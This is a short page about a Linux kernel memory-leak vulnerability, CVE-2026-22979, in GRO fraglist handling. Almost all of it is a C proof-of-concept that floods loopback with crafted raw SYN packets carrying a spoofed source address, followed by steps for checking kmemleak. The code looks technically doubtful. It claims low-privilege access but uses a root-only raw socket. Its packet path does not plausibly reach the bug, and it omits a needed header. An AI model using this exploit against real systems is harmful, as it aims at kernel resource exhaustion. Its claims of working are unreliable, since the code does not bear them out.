CVE-2026-22979: Linux内核skb_segment_list GRO数据包内存泄漏漏洞

// CVE-2026-22979 PoC - Linux Kernel Memory Leak via GRO Fraglist // This PoC demonstrates triggering skb_segment_list memory leak // Requires: Linux kernel with GRO enabled, low-privilege local access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> // Kernel configuration required: // CONFIG_NET_GRO_FRAGLIST=y // CONFIG_DEBUG_KMEMLEAK=y int main(int argc, char *argv[]) { int sock_fd; struct sockaddr_in target; char packet[4096]; struct iphdr *ip; struct tcphdr *tcp; printf("CVE-2026-22979 PoC - GRO Fraglist Memory Leak\n"); printf("Target: Linux kernel skb_segment_list()\n"); // Create raw socket for packet injection sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock_fd < 0) { perror("socket creation failed"); return 1; } // Enable IP_HDRINCL to manually construct headers int one = 1; setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(8080); // Construct fraglist GSO packet memset(packet, 0x41, sizeof(packet)); ip = (struct iphdr *)packet; tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); // IP header for fraglist GSO ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(packet)); ip->id = htons(0x1234); ip->frag_off = htons(IP_MF); // More fragments flag ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("192.168.1.100"); ip->daddr = inet_addr("127.0.0.1"); ip->check = 0; // TCP header tcp->source = htons(12345); tcp->dest = htons(8080); tcp->seq = htonl(1000); tcp->ack_seq = htonl(2000); tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->window = htons(65535); tcp->check = 0; tcp->urg_ptr = 0; printf("Sending GRO fraglist packets to trigger memory leak...\n"); printf("Monitor with: echo scan > /sys/kernel/debug/kmemleak\n"); printf("Check with: cat /sys/kernel/debug/kmemleak\n"); // Send multiple packets to trigger GRO aggregation and segmentation for (int i = 0; i < 1000; i++) { if (sendto(sock_fd, packet, sizeof(packet), 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto failed"); break; } usleep(1000); // Small delay between packets if (i % 100 == 0) { printf("Sent %d packets...\n", i); } } close(sock_fd); printf("PoC execution complete. Check kmemleak for unreleased objects.\n"); printf("Expected: unreferenced objects with comm 'ping' or socket allocations\n"); return 0; } /* * Verification Steps: * 1. Compile: gcc -o cve_poc cve_poc.c * 2. Enable kmemleak: echo scan > /sys/kernel/debug/kmemleak * 3. Run PoC: ./cve_poc * 4. Check leaks: cat /sys/kernel/debug/kmemleak | grep -A 10 "unreferenced object" * 5. Look for socket allocations with comm "ping" or similar * * Note: This is a proof-of-concept for educational purposes. * Actual exploitation requires specific kernel configuration and network setup. */